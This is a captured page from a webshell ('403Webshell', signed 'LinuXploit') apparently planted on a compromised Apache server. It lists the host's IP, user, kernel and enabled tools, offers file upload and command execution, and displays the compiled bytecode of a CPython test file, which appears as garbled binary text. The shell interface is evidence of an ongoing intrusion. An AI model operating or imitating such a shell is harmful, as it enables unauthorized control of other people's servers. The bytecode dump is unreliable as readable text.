403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.230
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_contains.cpython-36.pyc
3

�w2_�
�@shddlmZddlZGdd�d�ZGdd�de�ZGdd�de�ZGd	d
�d
ej�Zedkrdej	�dS)�)�dequeNc@seZdZdd�ZdS)�base_setcCs
||_dS)N)�el)�selfr�r�7/opt/alt/python36/lib64/python3.6/test/test_contains.py�__init__szbase_set.__init__N)�__name__�
__module__�__qualname__rrrrrrsrc@seZdZdd�ZdS)�mysetcCs
|j|kS)N)r)rrrrr�__contains__
szmyset.__contains__N)r	r
rr
rrrrr	src@seZdZdd�ZdS)�seqcCs|jg|S)N)r)r�nrrr�__getitem__szseq.__getitem__N)r	r
rrrrrrr
src@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�TestContainscs�td��td�}td�}|jd|�|jd|�|jd|�|jd|�|jt�fdd��|jt�fdd��|jdd�|jdd�|jd	d	�|jd	d�|jtd
d��dS)N�rcsd�kS)Nrrr)�arr�<lambda>sz0TestContains.test_common_tests.<locals>.<lambda>csd�kS)Nrrr)rrrrs�c�abc�d�cSsddkS)Nrrrrrrr$s)rrr�assertIn�assertNotIn�assertRaises�	TypeError)r�brr)rr�test_common_testsszTestContains.test_common_testscCs�td�}x|D]}|j||�qW|jd|�|j||�t|�}x|D]}|j||�qHW|jd|�|j||�Gdd�d�}|j|�|j�dS)N�
�c@s$eZdZdZeed��Zdd�ZdS)z:TestContains.test_builtin_sequence_types.<locals>.Deviant1z�Behaves strangely when compared

            This class is designed to make sure that the contains code
            works when the list is modified during the check.
            �cSs0|dkr,|jjd�|jjd�|jjd�dS)N��
�r)�aList�remove)r�otherrrr�__eq__;s
zATestContains.test_builtin_sequence_types.<locals>.Deviant1.__eq__N)r	r
r�__doc__�list�ranger%r(rrrr�Deviant14sr,)r+rr�tupler%)rr�ir,rrr�test_builtin_sequence_types&s

z(TestContains.test_builtin_sequence_typescCs�Gdd�dt�}td�ddd|�f}tttjtttf}xN|D]F}||�}x|D]}|j	||�qNW|j
|||�k�|j
||k�q<WdS)Nc@seZdZdd�Zdd�ZdS)z6TestContains.test_nonreflexive.<locals>.MyNonReflexivecSsdS)NFr)rr'rrrr(Isz=TestContains.test_nonreflexive.<locals>.MyNonReflexive.__eq__cSsdS)N�r)rrrr�__hash__Ksz?TestContains.test_nonreflexive.<locals>.MyNonReflexive.__hash__N)r	r
rr(r1rrrr�MyNonReflexiveHsr2�nanrr)�object�floatr*r-�dict�fromkeys�set�	frozensetrrZ
assertTrue)rr2�valuesZconstructors�constructorZ	container�elemrrr�test_nonreflexiveDs

zTestContains.test_nonreflexivecsdGdd�dt�}|�}Gdd�d|�}|��|jd|k�|jdt��k�|jt�fdd��dS)Nc@seZdZdd�ZdS)z4TestContains.test_block_fallback.<locals>.ByContainscSsdS)NFr)rr'rrrr
ZszATestContains.test_block_fallback.<locals>.ByContains.__contains__N)r	r
rr
rrrr�
ByContainsYsr>c@seZdZdZdd�ZdZdS)z7TestContains.test_block_fallback.<locals>.BlockContainsa�Is not a container

            This class is a perfectly good iterable (as tested by
            list(bc)), as well as inheriting from a perfectly good
            container, but __contains__ = None prevents the usual
            fallback to iteration in the container protocol. That
            is, normally, 0 in bc would fall back to the equivalent
            of any(x==0 for x in bc), but here it's blocked from
            doing so.
            cssdS)Nr)rrrr�__iter__hsz@TestContains.test_block_fallback.<locals>.BlockContains.__iter__N)r	r
rr)r?r
rrrr�
BlockContains]s
r@rcsd�kS)Nrrr)�bcrrrosz2TestContains.test_block_fallback.<locals>.<lambda>)r4ZassertFalser*rr)rr>rr@r)rAr�test_block_fallbackWsz TestContains.test_block_fallbackN)r	r
rrr/r=rBrrrrrsr�__main__)
�collectionsrZunittestrrrZTestCaserr	�mainrrrr�<module>s`

Youez - 2016 - github.com/yon3zu
LinuXploit